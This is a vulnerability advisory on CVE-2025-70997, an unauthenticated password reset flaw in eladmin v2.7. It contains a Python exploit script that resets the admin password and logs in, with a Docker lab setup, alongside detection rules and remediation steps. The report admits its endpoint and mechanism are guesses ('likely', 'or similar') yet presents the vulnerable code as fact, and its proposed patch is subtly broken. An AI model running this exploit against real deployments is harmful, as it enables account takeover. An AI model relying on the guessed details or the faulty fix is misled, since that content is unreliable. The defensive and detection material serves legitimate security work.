CVE-2025-70997

Executive Summary

CVE-2025-70997 is a critical authentication bypass vulnerability in eladmin v2.7 and earlier. The flaw allows an unauthenticated attacker to reset the password of any user, including administrators, without requiring the current password or any special privileges. This effectively grants full administrative control over the application. The vulnerability stems from improper authorization checks in the password reset functionality, classified as CWE-287 (Improper Authentication). With a CVSS v3.1 base score of 9.8 (Critical), this vulnerability poses a severe risk to confidentiality, integrity, and availability. No official patch has been released as of this report.

Supply Chain & Package Security

eladmin is a Java-based backend management framework. The vulnerability exists in the core authentication module, which is distributed as part of the main application package. Organizations using eladmin should treat this as a supply chain risk, as the vulnerable component is integral to the application's security model. No known malicious packages have been identified, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full data modification.
• Availability Impact: High (A:H) – Potential denial of service via account takeover.

Threat Level: Critical. Immediate action is required.

Deep Dive & Mechanics

The vulnerability resides in the password reset endpoint, typically mapped to /api/resetPassword or similar. The application fails to verify the authenticity of the reset request. Specifically, the backend does not validate that the requester is the legitimate user or has the necessary permissions to reset the target account's password. The reset process likely relies on a user ID or email parameter without a corresponding token or session check.

Attack Flow:

1. The attacker identifies the target user's ID (often enumerable via API endpoints like /api/users).
2. The attacker sends a POST request to the password reset endpoint with the target user's ID and a new password.
3. The server processes the request without verifying the attacker's identity, updating the password in the database.
4. The attacker logs in with the new password, gaining full access to the target account.

This is a classic example of insecure direct object reference (IDOR) combined with missing authentication.

Vulnerable vs. Patched Code

Vulnerable Code (eladmin v2.7):

// Vulnerable: No authentication check
@PostMapping("/resetPassword")
public ResponseEntity<Object> resetPassword(@RequestBody User user) {
    userService.updatePassword(user.getId(), user.getPassword());
    return ResponseEntity.ok("Password reset successful");
}

Patched Code (Hypothetical):

// Patched: Requires authentication and authorization
@PostMapping("/resetPassword")
public ResponseEntity<Object> resetPassword(@RequestBody User user, 
                                            @AuthenticationPrincipal UserDetails currentUser) {
    // Verify the current user is an admin or the target user
    if (!currentUser.getAuthorities().contains("ROLE_ADMIN") && 
        !currentUser.getId().equals(user.getId())) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Access denied");
    }
    userService.updatePassword(user.getId(), user.getPassword());
    return ResponseEntity.ok("Password reset successful");
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running eladmin v2.7 or earlier.
• Network access to the application.
• A valid user ID (e.g., 1 for admin).

Exploit Script (Python):

import requests

target = "http://target.com"
user_id = 1  # Admin user ID
new_password = "Pwned123!"

# Reset password without authentication
payload = {"id": user_id, "password": new_password}
response = requests.post(f"{target}/api/resetPassword", json=payload)

if response.status_code == 200:
    print(f"[+] Password reset successful for user {user_id}")
    # Login with new password
    login_payload = {"username": "admin", "password": new_password}
    login_response = requests.post(f"{target}/api/login", json=login_payload)
    if login_response.status_code == 200:
        print("[+] Login successful with new password")
else:
    print(f"[-] Exploit failed: {response.text}")

Lab Setup:

1. Deploy eladmin v2.7 using Docker: docker run -d -p 8080:8080 eladmin/eladmin:2.7
2. Access the application at http://localhost:8080.
3. Run the exploit script against the local instance.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual password reset requests without prior authentication.
2. Look for multiple password reset attempts in a short time frame.
3. Alert on successful password resets followed by logins from new IP addresses.

Response:

1. Immediately isolate affected systems.
2. Review logs for unauthorized password changes.
3. Force password resets for all users.
4. Apply network-level restrictions to the reset endpoint.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/resetPassword without a valid session cookie.
  • Repeated login attempts with new passwords after a reset.
• Logs:
  • Log entries showing password reset for user ID without corresponding authentication.
  • Successful login from an IP address not associated with the legitimate user.
• System:
  • Unexpected user account changes in the database.
  • New admin accounts created (if the attacker escalates privileges).

Detection Engineering

YARA Rule

rule CVE_2025_70997_eladmin_Password_Reset {
    meta:
        description = "Detects exploitation attempts of CVE-2025-70997 in eladmin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-70997"
    strings:
        $s1 = "/api/resetPassword" ascii wide nocase
        $s2 = "password" ascii wide nocase
        $s3 = "id" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-70997 - Unauthenticated Password Reset Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated POST requests to the password reset endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/api/resetPassword"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate password resets by authenticated users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70997 - eladmin Unauthenticated Password Reset"; flow:to_server; content:"POST"; http_method; content:"/api/resetPassword"; http_uri; content:"password"; http_client_body; content:"id"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the password reset endpoint if not required, or restrict it to authenticated admin users only.
2. Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to /api/resetPassword.
3. Monitor logs for any signs of exploitation.

Long-Term Fix:

1. Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
2. Conduct a full security audit of the authentication module.
3. Upgrade to a patched version once released.

Workaround:

• If source code is accessible, manually add authentication checks to the reset endpoint.
• Use a reverse proxy to require authentication for the reset endpoint.

Valters IT